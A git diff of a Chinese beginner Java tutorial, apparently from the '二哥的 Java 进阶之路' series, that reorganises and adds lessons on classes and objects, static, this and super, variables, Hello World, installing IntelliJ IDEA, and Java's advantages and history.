+第一种就是面向过程,第二种就是面向对象。
+
+面向过程有什么劣势呢?假如你买了小碗汤的食材,临了又想吃宫保鸡丁了,你是不是还得重新买食材?
+
+面向对象有什么优势呢?假如你不想吃小碗汤了,你只需要对老板说,“我那个小碗汤如果没做的话,换成宫保鸡丁吧!”
+
+面向过程是流程化的,一步一步,上一步做完了,再做下一步。
+
+面向对象是模块化的,我做我的,你做你的,我需要你做的话,我就告诉你一声。我不需要知道你到底怎么做,只看功劳不看苦劳。
+
+不过,如果追到底的话,面向对象的底层其实还是面向过程,只不过把面向过程进行了抽象化,封装成了类,方便我们的调用。
+
+### 02、类
+
+对象可以是现实中看得见的任何物体,比如说,一只特立独行的猪;也可以是想象中的任何虚拟物体,比如说能七十二变的孙悟空。
+
+Java 通过类(class)来定义这些物体,这些物体有什么状态,通过字段来定义,比如说比如说猪的颜色是纯色还是花色;这些物体有什么行为,通过方法来定义,比如说猪会吃,会睡觉。
+
+来,定义一个简单的类给你看看。
+
+```java
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/11/19
+ */
+public class Person {
+ private String name;
+ private int age;
+ private int sex;
+
+ private void eat() {
+ }
+
+ private void sleep() {
+ }
+
+ private void dadoudou() {
+ }
+}
+```
+
+一个类可以包含:
+
+- 字段(Filed)
+- 方法(Method)
+- 构造方法(Constructor)
+
+在 Person 类中,字段有 3 个,分别是 name、age 和 sex,它们也称为成员变量——在类内部但在方法外部,方法内部的叫临时变量。
+
+成员变量有时候也叫做实例变量,在编译时不占用内存空间,在运行时获取内存,也就是说,只有在对象实例化(`new Person()`)后,字段才会获取到内存,这也正是它被称作“实例”变量的原因。
+
+方法 3 个,分别是 `eat()`、`sleep()` 和 `dadoudou()`,表示 Person 这个对象可以做什么,也就是吃饭睡觉打豆豆。
+
+那三妹是不是要问,“怎么没有构造方法呢?”
+
+的确在 Person 类的源码文件(.java)中没看到,但在反编译后的字节码文件(.class)中是可以看得到的。
+
+```java
+//
+// Source code recreated from a .class file by IntelliJ IDEA
+// (powered by Fernflower decompiler)
+//
+
+package com.itwanger.twentythree;
+
+public class Person {
+ private String name;
+ private int age;
+ private int sex;
+
+ public Person() {
+ }
+
+ private void eat() {
+ }
+
+ private void sleep() {
+ }
+
+ private void dadoudou() {
+ }
+}
+```
+
+`public Person(){}` 就是默认的构造方法,因为是空的构造方法(方法体中没有内容),所以可以缺省。Java 聪明就聪明在这,有些很死板的代码不需要开发人员添加,它会偷偷地做了。
+
+### 03、new 一个对象
+
+创建 Java 对象时,需要用到 `new` 关键字。
+
+```java
+Person person = new Person();
+```
+
+这行代码就通过 Person 类创建了一个 Person 对象。所有**对象**在创建的时候都会在**堆内存中分配空间**。
+
+创建对象的时候,需要一个 `main()` 方法作为入口, `main()` 方法可以在当前类中,也可以在另外一个类中。
+
+第一种:`main()` 方法直接放在 Person 类中。
+
+```java
+public class Person {
+ private String name;
+ private int age;
+ private int sex;
+
+ private void eat() {}
+ private void sleep() {}
+ private void dadoudou() {}
+
+ public static void main(String[] args) {
+ Person person = new Person();
+ System.out.println(person.name);
+ System.out.println(person.age);
+ System.out.println(person.sex);
+ }
+}
+```
+
+输出结果如下所示:
+
+```
+null
+0
+0
+```
+
+第二种:`main()` 方法不在 Person 类中,而在另外一个类中。
+
+
+
+实际开发中,我们通常不在当前类中直接创建对象并使用它,而是放在使用对象的类中,比如说上图中的 PersonTest 类。
+
+可以把 PersonTest 类和 Person 类放在两个文件中,也可以放在一个文件(命名为 PersonTest.java)中,就像下面这样。
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class PersonTest {
+ public static void main(String[] args) {
+ Person person = new Person();
+ }
+}
+
+class Person {
+ private String name;
+ private int age;
+ private int sex;
+
+ private void eat() {}
+ private void sleep() {}
+ private void dadoudou() {}
+}
+```
+
+### 04、初始化对象
+
+在之前的例子中,程序输出结果为:
+
+```
+null
+0
+0
+```
+
+为什么会有这样的输出结果呢?因为 Person 对象没有初始化,因此输出了 String 的默认值 null,int 的默认值 0。
+
+那怎么初始化 Person 对象(对字段赋值)呢?
+
+第一种:通过对象的引用变量。
+
+```java
+public class Person {
+ private String name;
+ private int age;
+ private int sex;
+
+ public static void main(String[] args) {
+ Person person = new Person();
+ person.name = "沉默王二";
+ person.age = 18;
+ person.sex = 1;
+
+ System.out.println(person.name);
+ System.out.println(person.age);
+ System.out.println(person.sex);
+ }
+}
+```
+
+person 被称为对象 Person 的引用变量,见下图:
+
+
+
+通过对象的引用变量,可以直接对字段进行初始化(`person.name = "沉默王二"`),所以以上代码输出结果如下所示:
+
+```
+沉默王二
+18
+1
+```
+
+第二种:通过方法初始化。
+
+```java
+/**
+ * @author 沉默王二,一枚有趣的程序员
+ */
+public class Person {
+ private String name;
+ private int age;
+ private int sex;
+
+ public void initialize(String n, int a, int s) {
+ name = n;
+ age = a;
+ sex = s;
+ }
+
+ public static void main(String[] args) {
+ Person person = new Person();
+ person.initialize("沉默王二",18,1);
+
+ System.out.println(person.name);
+ System.out.println(person.age);
+ System.out.println(person.sex);
+ }
+}
+```
+
+在 Person 类中新增方法 `initialize()`,然后在新建对象后传参进行初始化(`person.initialize("沉默王二", 18, 1)`)。
+
+第三种:通过构造方法初始化。
+
+```java
+/**
+ * @author 沉默王二,一枚有趣的程序员
+ */
+public class Person {
+ private String name;
+ private int age;
+ private int sex;
+
+ public Person(String name, int age, int sex) {
+ this.name = name;
+ this.age = age;
+ this.sex = sex;
+ }
+
+ public static void main(String[] args) {
+ Person person = new Person("沉默王二", 18, 1);
+
+ System.out.println(person.name);
+ System.out.println(person.age);
+ System.out.println(person.sex);
+ }
+}
+```
+
+这也是最标准的一种做法,直接在 new 的时候把参数传递过去。
+
+补充一点知识,匿名对象。匿名对象意味着没有引用变量,它只能在创建的时候被使用一次。
+
+```java
+new Person();
+```
+
+可以直接通过匿名对象调用方法:
+
+```java
+new Person().initialize("沉默王二", 18, 1);
+```
\ No newline at end of file
diff --git a/docs/src/oo/static.md b/docs/oo/static.md
similarity index 85%
rename from docs/src/oo/static.md
rename to docs/oo/static.md
index 14fde1154c..0ba7b7c9ef 100644
--- a/docs/src/oo/static.md
+++ b/docs/oo/static.md
@@ -1,19 +1,6 @@
----
-title: 详解 Java static 关键字的作用:静态变量、静态方法、静态代码块、静态内部类
-shortTitle: Java static关键字
-description: 本文详细讲解了Java中的static关键字,包括其作用、用法、使用场景以及注意事项。文章通过实例解析,帮助读者深入理解static关键字在Java编程中的重要性,提高编程水平和技巧。
-category:
- - Java 核心
-tag:
- - 面向对象编程
-head:
- - - meta
- - name: keywords
- content: Java,static,静态变量,静态方法,静态代码块,静态内部类,java static,static关键字
----
-
-
-“哥,你牙龈肿痛轻点没?周一的《教妹学 Java》(二哥的Java进阶之路前身)你都没有更新,偷懒了呀!”三妹关心地问我。
+
+
+“哥,你牙龈肿痛轻点没?周一的教妹学 Java 你都没有更新,偷懒了呀!”三妹关心地问我。
“今天周四了,吃了三天的药,疼痛已经减轻不少,咱妈还给我打了电话,让我买点牛黄解毒片下下火。”我面带着微笑对三妹说,“学习可不能落下,今天我们来学 Java 中 `static` 关键字吧。”
@@ -67,7 +54,7 @@ public class Student {
“哦哦,别担心,三妹,画幅图你就全明白了。”说完我就打开 draw.io 这个网址,认真地画起了图。
-
+
“现在,是不是一下子就明白了?”看着这幅漂亮的手绘图,我心里有点小开心。
@@ -96,7 +83,7 @@ public class Counter {
我在侃侃而谈,而三妹似乎有些不太明白。
-
+
“没关系,三妹,你先盲猜一下,这段代码输出的结果是什么?”
@@ -148,10 +135,10 @@ public class StaticCounter {
“另外,需要注意的是,由于静态变量属于一个类,所以不要通过对象引用来访问,而应该直接通过类名来访问,否则编译器会发出警告。”
-
+
-### 02、静态方法
+### 02、 静态方法
“说完静态变量,我们来说静态方法。”说完,我准备点一支华子来抽,三妹阻止了我,她指一指烟盒上的「吸烟有害身体健康」,我笑了。
@@ -209,11 +196,11 @@ public class StaticMethodStudent {
“先是在静态方法中访问非静态变量,编译器不允许。”
-
+
“然后在静态方法中访问非静态方法,编译器同样不允许。”
-
+
“关于静态方法的使用,这下清楚了吧,三妹?”
@@ -225,7 +212,7 @@ public class StaticMethodStudent {
“java.lang.Math 类的几乎所有方法都是静态的,可以直接通过类名来调用,不需要创建类的对象。”
-
+
### 03、静态代码块
@@ -279,7 +266,7 @@ public class StaticBlockNoMain {
“在命令行中执行 `java StaticBlockNoMain` 的时候,会抛出 NoClassDefFoundError 的错误。”
-
+
“三妹,来看下面这个例子。”
@@ -344,15 +331,6 @@ public class Singleton {
“三妹,你看,在 Singleton 类上加 static 后,编译器就提示错误了。”
-
-
-三妹点了点头,所有所思。
-
-----
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
+
-
\ No newline at end of file
+三妹点了点头,所有所思。
\ No newline at end of file
diff --git a/docs/src/oo/this-super.md b/docs/oo/this-super.md
similarity index 89%
rename from docs/src/oo/this-super.md
rename to docs/oo/this-super.md
index c72180e0cb..52e86cbbca 100644
--- a/docs/src/oo/this-super.md
+++ b/docs/oo/this-super.md
@@ -1,16 +1,3 @@
----
-title: 详解Java this与super关键字的用法与区别
-shortTitle: Java this和super关键字
-description: 本文详细介绍了Java中的this和super关键字,包括它们的概念、作用以及如何在实际编程中使用。通过对比分析this和super关键字的区别,本文旨在帮助读者深入理解Java面向对象编程中的相关概念,提升编程技能。
-category:
- - Java 核心
-tag:
- - 面向对象编程
-head:
- - - meta
- - name: keywords
- content: Java,this,super,java this super,java this,java super,this super,this关键字, super关键字
----
“哥,被喊大舅子的感觉怎么样啊?”三妹不怀好意地对我说,她眼睛里充满着不屑。
@@ -113,7 +100,9 @@ public class WithThisStudent {
“这次,实例变量有值了,在构造方法中,`this.xxx` 指向的就是实例变量,而不再是参数本身了。”我慢吞吞地说着,“当然了,如果参数名和实例变量名不同的话,就不必使用 this 关键字,但我建议使用 this 关键字,这样的代码更有意义。”
-### 02、调用当前类的方法
+
+
+### 03、调用当前类的方法
“仔细听,三妹,看我敲键盘的速度是不是够快。”
@@ -162,7 +151,7 @@ public class InvokeCurrentClassMethod {
“我们可以在一个类中使用 this 关键字来调用另外一个方法,如果没有使用的话,编译器会自动帮我们加上。”我对自己深厚的编程功底充满自信,“在源代码中,`method2()` 在调用 `method1()` 的时候并没有使用 this 关键字,但通过反编译后的字节码可以看得到。”
-### 03、调用当前类的构造方法
+### 04、调用当前类的构造方法
“再来看下面这段代码。”
@@ -222,9 +211,9 @@ hello
“不过,需要注意的是,`this()` 必须放在构造方法的第一行,否则就报错了。”
-
+
-### 04、作为参数在方法中传递
+### 05、作为参数在方法中传递
“来看下面这段代码。”
@@ -257,7 +246,7 @@ com.itwanger.twentyseven.ThisAsParam@77459877
“`method2()` 调用了 `method1()`,并传递了参数 this,`method1()` 中打印了当前对象的字符串。 `main()` 方法中打印了 thisAsParam 对象的字符串。从输出结果中可以看得出来,两者是同一个对象。”
-### 05、作为参数在构造方法中传递
+### 06、作为参数在构造方法中传递
“继续来看代码。”
@@ -297,7 +286,7 @@ class Data {
10
```
-### 06、作为方法的返回值
+### 07、作为方法的返回值
“需要休息会吗?三妹”
@@ -343,7 +332,7 @@ hello
“噢噢噢噢。”三妹意味深长地笑了。
-### 07、super 关键字
+### 08、super 关键字
“super 关键字的用法主要有三种。”
@@ -524,14 +513,4 @@ public class CallParentParamConstrutor {
1 沉默王二 20000.0
```
-三妹点了点头,所有所思。
-
-----
-
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
-
-
\ No newline at end of file
+三妹点了点头,所有所思。
\ No newline at end of file
diff --git a/docs/oo/var.md b/docs/oo/var.md
new file mode 100644
index 0000000000..95ddb30c84
--- /dev/null
+++ b/docs/oo/var.md
@@ -0,0 +1,131 @@
+
+
+“二哥,听说 Java 变量在以后的日子里经常用,能不能提前给我透露透露?”三妹咪了一口麦香可可奶茶后对我说。
+
+“三妹啊,搬个凳子坐我旁边,听二哥来给你慢慢说啊。”
+
+Java 变量就好像一个容器,可以保存程序在运行过程中的值,它在声明的时候会定义对应的数据类型(Java 分为两种数据类型:基本数据类型和引用数据类型)。变量按照作用域的范围又可分为三种类型:局部变量,成员变量和静态变量。
+
+比如说,`int data = 88;`,其中 data 就是一个变量,它的值为 88,类型为整形(int)。
+
+
+### 01、局部变量
+
+在方法体内声明的变量被称为局部变量,该变量只能在该方法内使用,类中的其他方法并不知道该变量。来看下面这个示例:
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class LocalVariable {
+ public static void main(String[] args) {
+ int a = 10;
+ int b = 10;
+ int c = a + b;
+ System.out.println(c);
+ }
+}
+```
+
+其中 a、b、c 就是局部变量,它们只能在当前这个 main 方法中使用。
+
+声明局部变量时的注意事项:
+
+- 局部变量声明在方法、构造方法或者语句块中。
+- 局部变量在方法、构造方法、或者语句块被执行的时候创建,当它们执行完成后,将会被销毁。
+- 访问修饰符不能用于局部变量。
+- 局部变量只在声明它的方法、构造方法或者语句块中可见。
+- 局部变量是在栈上分配的。
+- 局部变量没有默认值,所以局部变量被声明后,必须经过初始化,才可以使用。
+
+### 02、成员变量
+
+在类内部但在方法体外声明的变量称为成员变量,或者实例变量。之所以称为实例变量,是因为该变量只能通过类的实例(对象)来访问。来看下面这个示例:
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class InstanceVariable {
+ int data = 88;
+ public static void main(String[] args) {
+ InstanceVariable iv = new InstanceVariable();
+ System.out.println(iv.data); // 88
+ }
+}
+```
+
+其中 iv 是一个变量,它是一个引用类型的变量。`new` 关键字可以创建一个类的实例(也称为对象),通过“=”操作符赋值给 iv 这个变量,iv 就成了这个对象的引用,通过 `iv.data` 就可以访问成员变量了。
+
+声明成员变量时的注意事项:
+
+- 成员变量声明在一个类中,但在方法、构造方法和语句块之外。
+- 当一个对象被实例化之后,每个成员变量的值就跟着确定。
+- 成员变量在对象创建的时候创建,在对象被销毁的时候销毁。
+- 成员变量的值应该至少被一个方法、构造方法或者语句块引用,使得外部能够通过这些方式获取实例变量信息。
+- 成员变量可以声明在使用前或者使用后。
+- 访问修饰符可以修饰成员变量。
+- 成员变量对于类中的方法、构造方法或者语句块是可见的。一般情况下应该把成员变量设为私有。通过使用访问修饰符可以使成员变量对子类可见;成员变量具有默认值。数值型变量的默认值是 0,布尔型变量的默认值是 false,引用类型变量的默认值是 null。变量的值可以在声明时指定,也可以在构造方法中指定。
+
+### 03、静态变量
+
+通过 static 关键字声明的变量被称为静态变量(类变量),它可以直接被类访问,来看下面这个示例:
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class StaticVariable {
+ static int data = 99;
+ public static void main(String[] args) {
+ System.out.println(StaticVariable.data); // 99
+ }
+}
+```
+
+其中 data 就是静态变量,通过`类名.静态变量`就可以访问了,不需要创建类的实例。
+
+声明静态变量时的注意事项:
+
+- 静态变量在类中以 static 关键字声明,但必须在方法构造方法和语句块之外。
+- 无论一个类创建了多少个对象,类只拥有静态变量的一份拷贝。
+- 静态变量除了被声明为常量外很少使用。
+- 静态变量储存在静态存储区。
+- 静态变量在程序开始时创建,在程序结束时销毁。
+- 与成员变量具有相似的可见性。但为了对类的使用者可见,大多数静态变量声明为 public 类型。
+- 静态变量的默认值和实例变量相似。
+- 静态变量还可以在静态语句块中初始化。
+
+### 04、常量
+
+在 Java 中,有些数据的值是不会发生改变的,这些数据被叫做常量——使用 final 关键字修饰的成员变量。常量的值一旦给定就无法改变!
+
+常量在程序运行过程中主要有 2 个作用:
+
+- 代表常数,便于修改(例如:圆周率的值,`final double PI = 3.14`)
+
+- 增强程序的可读性(例如:常量 UP、DOWN 用来代表上和下,`final int UP = 0`)
+
+Java 要求常量名必须大写。来看下面这个示例:
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class FinalVariable {
+ final String CHEN = "沉";
+ static final String MO = "默";
+ public static void main(String[] args) {
+ FinalVariable fv = new FinalVariable();
+ System.out.println(fv.CHEN);
+ System.out.println(MO);
+
+ }
+}
+```
+
+“好了,三妹,关于 Java 变量就先说这么多吧,你是不是已经清楚了?”转动了一下僵硬的脖子后,我对三妹说。
+
+“是啊,二哥,我想以后还会再见到它们吧?”
+
+“那见的次数可就多了,就好像你每天眨眼的次数一样多。”
\ No newline at end of file
diff --git a/docs/overview/hello-world.md b/docs/overview/hello-world.md
new file mode 100644
index 0000000000..3226ac7263
--- /dev/null
+++ b/docs/overview/hello-world.md
@@ -0,0 +1,50 @@
+
+
+可以通过 Intellij IDEA 来编写代码,也可以使用在线编辑器来完成。
+
+
+
+第一个 Java 程序非常简单,代码如下:
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class HelloWorld {
+ public static void main(String[] args) {
+ System.out.println("三妹,少看手机少打游戏,好好学,美美哒。");
+ }
+}
+```
+
+IDEA 会自动保存,在代码编辑面板中右键,在弹出的菜单中选择「Run 'HelloWorld.main()'」,如下图所示:
+
+
+
+等代码编译结束后,就可以在 Run 面板里看到下面的内容:
+
+```
+三妹,少看手机少打游戏,好好学,美美哒。
+```
+
+“二哥,上面这段代码的输出结果虽然令我非常开心,但是有好多生疏的关键字令我感到困惑,能给我解释一下吗?”
+
+“当然没问题啊。”
+
+- class 关键字:用于在 Java 中声明一个类。
+
+- public 关键字:一个表示可见性的访问修饰符。
+
+- static 关键字:我们可以用它来声明任何一个方法,被 static 修饰后的方法称之为静态方法。静态方法不需要为其创建对象就能调用。
+
+- void 关键字:表示该方法不返回任何值。
+
+- main 关键字:表示该方法为主方法,也就是程序运行的入口。`main()` 方法由 Java 虚拟机执行,配合上 static 关键字后,可以不用创建对象就可以调用,可以节省不少内存空间。
+
+- `String [] args`:`main()` 方法的参数,类型为 String 数组,参数名为 args。
+
+- `System.out.println()`:一个 Java 语句,一般情况下是将传递的参数打印到控制台。System 是 java.lang 包中的一个 final 类,该类提供的设施包括标准输入,标准输出和错误输出流等等。out 是 System 类的静态成员字段,类型为 PrintStream,它与主机的标准输出控制台进行映射。println 是 PrintStream 类的一个方法,通过调用 print 方法并添加一个换行符实现的。
+
+“三妹,怎么样?这下没有困扰你的关键字了吧?后面我们更细致地分析这些关键字,所以担心是大可不必的。”
+
+“没有了,二哥,好期待后面的内容哦!”
\ No newline at end of file
diff --git a/docs/overview/idea.md b/docs/overview/idea.md
new file mode 100644
index 0000000000..8295535948
--- /dev/null
+++ b/docs/overview/idea.md
@@ -0,0 +1,71 @@
+
+
+IntelliJ IDEA 简称 IDEA,是业界公认为最好的 Java 集成开发工具,尤其是在代码自动提示、代码重构、代码版本管理、单元测试、代码分析等方面有着亮眼的发挥。
+
+IDEA 产于捷克,开发人员以严谨著称的东欧程序员为主,分为社区版和付费版两个版本。我们在学习阶段,社区版就足够用了。
+
+回想起我最初学 Java 的时候,老师要求我们在记事本上敲代码,在命令行中编译和执行 Java 代码,搞得全班三分之二的同学都做好了放弃学习 Java 的打算。
+
+鉴于此,我强烈推荐大家使用集成开发工具,比如说 IntelliJ IDEA 来学习。
+
+IDEA 分为社区版和付费版两个版本。
+
+(2019 年时出的教程,新版的安装和之前一样)
+
+### 01、下载 IDEA
+
+IntelliJ IDEA 的官方下载地址为:[https://www.jetbrains.com/idea/download/](https://www.jetbrains.com/idea/download)
+
+
+
+
+UItimate 为付费版,可以免费试用,主要针对的是 Web 和企业开发用户;Community 为免费版,可以免费使用,主要针对的是 Java 初学者和安卓开发用户。
+
+功能上的差别如下图所示。
+
+
+
+本篇教程主要针对的是 Java 初学者,所以选择免费版为例,点击「Download」进行下载。
+
+稍等一分钟时间,大概 580M。
+
+### 02、安装 IDEA
+
+双击运行 IDEA 安装程序,一步步傻瓜式的下一步就行了。
+
+
+
+
+
+
+
+
+
+为了方便启动 IDEA,可以勾选【64-bit launcher】复选框。为了关联 Java 源文件,可以勾选【.java】复选框。
+
+
+
+点击【Install】后,需要静静地等待一会,大概一分钟的时间,趁机休息一下眼睛。
+
+
+
+安装完成后的界面如下图所示。
+
+
+
+### 03、启动 IDEA
+
+回到桌面,双击运行 IDEA 的快捷方式,启动 IDEA。
+
+
+
+假装阅读完条款后,勾选同意复选框,点击【Continue】
+
+
+
+如果想要帮助 IDEA 收集改进信息,可以点击【Send Usage Statistics】;否则点击【Don't send】。
+
+
+
+
+到此,Intellij IDEA 的安装就完成了,很简单。
\ No newline at end of file
diff --git a/docs/overview/java-advantage.md b/docs/overview/java-advantage.md
new file mode 100644
index 0000000000..ef2af8def8
--- /dev/null
+++ b/docs/overview/java-advantage.md
@@ -0,0 +1,85 @@
+
+
+尽管 Java 已经 25 岁了,但仍然“宝刀未老”。在 Stack Overflow 2019 年流行编程语言调查报告中,Java 位居第 5 位,有 41% 的受调开发者认为 Java 仍然是一门受欢迎的编程语言。
+
+
+
+很多大型的互联网公司都在使用 Java,国内最有名的当属阿里巴巴,国外最有名的当属谷歌。那为什么 Java 如此流行呢?
+
+**1)简单性**
+
+Java 为开发者提供了简单易用的用户体验,与其他面向对象编程语言相比,Java 的设计和生态库具有巨大的优势。Java 剔除了 C++ 中很少使用、难以理解、易混淆的特别,比如说指针运算、操作符重载,内存管理等。
+
+Java 可以做到堆栈分配、垃圾回收和自动内存管理,在一定程度上为开发者减轻了入门的难度。
+
+**2)可移植性**
+
+如果 Java 直接编译成操作系统能识的二进制码,可能一个标识在 Windows 操作系统下是1100,而 Linux 下是 1001,这样的话,在 Windows 操作系统下可以运行的程序到了 Linux 环境下就无法运行。
+
+为了解决这个问题,Java 先编译生成字节码,再由 JVM(Java 虚拟机)来解释执行,目的就是将统一的字节码转成操作系统可以识别的二进制码,然后执行。而针对不同的操作系统,都有相应版本的 JVM,所以 Java 就实现了可移植性。
+
+**3)安全性**
+
+Java 适用于网络/分布式环境,为了达到这个目标,在安全方面投入了巨大的精力。使用 Java 可以构建防病毒、防篡改的程序。
+
+从一开始,Java 就设计了很多可以防范攻击的机制,比如说:
+
+- 运行时堆栈溢出,这是蠕虫病毒常用的攻击手段。
+- 字节码验证,可以确保代码符合 JVM 规范并防止恶意代码破坏运行时环境。
+- 安全的类加载,可以防止不受信任的代码干扰 Java 程序的运行。
+- 全面的 API 支持广泛的加密服务,包括数字签名、消息摘要、(对称、非对称)密码、密钥生成器。
+- 安全通信,支持 HTTPS、SSL,保护传输的数据完整性和隐私性。
+
+**4)并发性**
+
+Java 在多线程方面做得非常突出,只要操作系统支持,Java 中的线程就可以利用多个处理器,带来了更好的交互响应和实时行为。
+
+“二哥,那 Java 还会继续流行下去吗?”三妹眨了眨她的长睫毛,对我说。
+
+“当然。”我斩钉截铁地回答到。
+
+**大数据领域:**
+
+与 Python 一样,Java 在大数据领域占据着主导地位,很多用于处理大规模数据的框架都是基于 Java 开发的。
+
+- Apache Hadoop,用于在分布式环境中处理大规模数据集。Hadoop 采用了主副架构模式,其中主节点负责控制整个分布式计算栈。Hadoop 在需要处理和分析大规模数据的公司当中很流行。
+
+- Apache Spark,大型的 ETL(数据仓库技术)、预测分析和报表程序经常使用到 Spark。
+
+- Apache Mahout,用于机器学习,比如分类、聚类和推荐。
+
+- JFreechart,用于可视化数据,可以用它制作各种图表,比如饼图、柱状图、线图、散点图、盒状图、直方图等等。
+
+- Deeplearning4j,用于构建各种类型的神经网络,可以与 Spark 集成,运行在 GPU(图形处理器)上。
+
+- Apache Storm,用于处理实时数据流,一个 Storm 节点可以在秒级处理数百万个作业。
+
+**物联网(IoT)领域:**
+
+
+
+Oracle 表示,灵活性和流行度是 IoT 程序员选择 Java 的主要原因。Java 提供了大量的 API 库,可以很容易应用到嵌入式应用程序中。相比其他编程语言,比如 C 语言,Java 在切换平台时更加顺畅,不容易出错。
+
+**金融服务领域:**
+
+- 聊天机器人,由于可移植性、可维护性、可视化等诸多方面的因素,Java 成了开发聊天机器人最好的工具。
+
+- 欺诈检测和管理,银行和金融公司使用 AI(人工智能)工具来进行金融欺诈和信用卡欺诈检测,而 Java 常用来开发这些 AI 工具。
+
+- 交易系统,Java 虚拟机提供的动态运行时编译优化在很多情况下比编译型语言(如 C++)具有更好的性能,让交易系统运行得更顺畅。
+
+- 移动钱包,基于 AI 和 Java 算法开发的移动钱包,可以帮助用户在花钱时做出更智能的决策。
+
+**Web 领域:**
+
+Java 技术对 Web 领域的发展注入了强大的动力,主流的 Java Web 开发框架有很多:
+
+- Spring 框架,一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架,渗透了 Java EE 技术的方方面面,绝大部分 Java 应用都可以从 Spring 框架中受益。
+
+- Spring MVC 框架,是一种基于 Java 实现的 MVC(Model-View-Controller)设计模式的请求驱动类型的轻量级 Web 框架。
+
+- MyBatis 框架,一个优秀的数据持久层框架,可在实体类和 SQL 语句之间建立映射关系,是一种半自动化的 ORM(Object Relational Mapping,对象关系映射)实现。
+
+- JavaServer Faces 框架,由 Oracle 开发,能够将表示层与应用程序代码轻松连接,它提供了一个 API 集,用于表示和管理 UI 组件。
+
+总之,Oracle 宣称,Java 正运行在 97% 的企业计算机上——有点厉害的样子。
\ No newline at end of file
diff --git a/docs/overview/java-history.md b/docs/overview/java-history.md
new file mode 100644
index 0000000000..d629f349f3
--- /dev/null
+++ b/docs/overview/java-history.md
@@ -0,0 +1,69 @@
+
+
+20 世纪 90 年代,单片式计算机系统诞生。单片式计算机系统不仅廉价(之前的计算机非常庞大,并且昂贵),而且功能强大,可以大幅度提升消费性电子产品的智能化程度。
+
+Sun 公司为了抢占市场先机,在 1991 年成立了一个由詹姆斯·高斯林(James Gosling)领导的,名为“Green”的项目组,目的是开发一种能够在各种消费性电子产品上运行的程序架构。
+
+项目组首先考虑的是采用 C++ 来编写程序,但 C++ 过于复杂和庞大,再加上消费电子产品所采用的嵌入式处理器芯片的种类繁杂,需要让编写的程序能够跨平台运行并不容易——C++ 在跨平台方面做得并不好。
+
+思前想后,项目组最后决定:在 C++ 的基础上创建一种新的编程语言,既能够剔除 C++ 复杂的指针和内存管理,还能够兼容各种设备。这语言最初的名字叫做 **Greentalk**,文件扩展名为 `.gt`。这个名字叫的比较随意,就因为项目组叫 Green,没什么特殊的寓意。
+
+**Oak** 是“Java”的第二个名字,这次就有点意义了。Oak(橡树)是力量的象征,被美国、法国、德国等许多欧美国家选为国树。橡树长下面这样。
+
+
+
+1992 年,Oak 的雏形有了,但项目组在向硬件生产商进行商演的时候,并没有获得认可,于是 Oak 就被搁置一旁了。
+
+1994 年,项目组发现 Java 更适合进行 Internet 编程。随后,项目组用 Oak 语言研发了一种能将小程序嵌入到网页中执行的技术——Applet。Applet 不仅能嵌入网页,还能够随同网页在网络上进行传输。
+
+不得不感慨一下,技术的更新迭代是真的快,Applet 拯救了 Oak,并使其蜕变成顶天立地的 Java,但很早之前就被无情地拍死在了沙滩上。是不是很残酷?
+
+1995 年,Oak 被重新命名为“Java”,因为 Oak 被别的公司注册过了。新的名字最好能够表达出技术的本质:dynamic(动态的)、revolutionary(革命性的)、Silk(像丝绸一样柔软的)、Cool(炫酷的)等等。另外,名字一定要容易拼写,念起来也比较有趣。
+
+选来选去,项目组最后选择了“Java”,中文叫“爪哇”。细心的小伙伴可能会发现,Java 这个单词里有一个敏感词,所以有段时间微信(文章专辑名这块)为了禁敏感词,竟然把 Java 都禁了,我当时就只能用爪哇来代替 Java,手动狗头。
+
+“Java”是印度尼西亚爪哇岛的英文名,因生产咖啡而闻名,所以,小伙伴也看到了,Java 这个单词经常和一杯冒着热气的咖啡一起出现。
+
+
+
+同年,Sun 公司在 SunWorld 大会上正式发布了 Java 1.0 版本,第一次提出了“Write Once, Run anywhere”的口号。《时代》杂志将 Java 评为 1995 年十大最佳产品之一。
+
+1996 年 1 月 23 日,JDK 1.0 发布,Java 语言有了第一个正式版本的运行环境。JDK 1.0 是一个纯解释执行的 Java 虚拟机,代表技术有:Java 虚拟机、AWT(图形化界面)、Applet。
+
+4 月,十个主要的操作系统和计算机供应商宣称将在产品中嵌入 Java 技术。9 月,已有大约 8.3 万网页应用采用了 Java 来制作。5 月底,第一届 JavaOne 大会在旧金山举行,从此,JavaOne 成为全世界数百万 Java 语言开发者的技术盛会。
+
+ 1997 年 2 月 19 日,JDK 1.1 发布,代表技术有:JAR 文件格式、JDBC、JavaBeans、RMI(远程方法调用)。
+
+1998 年 12 月 4 日,JDK 1.2 发布,这是一个里程碑式的版本。Sun 在这个版本中把 Java 拆分为三个方向:面向桌面开发的 J2SE、面向企业开发的 J2EE,面向移动开发的 J2ME。代表技术有:EJB、Swing。
+
+2000 年 5 月 8 日,JDK 1.3 发布,对 Java 2D 做了大幅修改。
+
